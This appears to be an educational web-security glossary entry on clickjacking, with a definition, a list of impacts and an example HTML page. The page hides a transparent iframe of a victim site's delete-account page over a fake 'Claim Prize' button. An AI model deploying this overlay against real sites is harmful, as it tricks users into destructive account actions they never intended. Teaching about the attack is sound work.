Clickjacking
MediumClickjacking / UI Redressing
Definition
Clickjacking is an attack that tricks the user into clicking elements of a legitimate web page hidden inside a transparent iframe. The attacker overlays their own page on top of the target page, so that when the user thinks they are interacting with the visible page they are actually clicking on the hidden one.
Impact
Triggering unwanted actions (like, follow, etc.)Changing account security settingsAuthorizing transactions without consentActivating the browser's camera or microphone
Examples
Basic Clickjacking with an invisible iframe
The user sees a 'Claim Prize' button, but on top of it is an invisible iframe of the victim page. When they click, they are really interacting with the delete-account button on the real page.
<html>
<head><title>Win a prize!</title></head>
<body>
<h1>Click "Claim Prize"</h1>
<button style="position:absolute; top:300px; left:100px; z-index:1;">
Claim Prize
</button>
<!-- Invisible iframe with the real page on top of the button -->
<iframe src="https://victim.com/settings/delete-account"
style="position:absolute; top:250px; left:50px; width:500px; height:200px;
opacity:0.0001; z-index:2;">
</iframe>
</body>
</html>